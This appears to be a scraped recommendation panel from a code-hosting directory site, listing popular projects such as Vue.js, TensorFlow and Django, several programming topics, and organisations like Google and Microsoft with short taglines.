    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.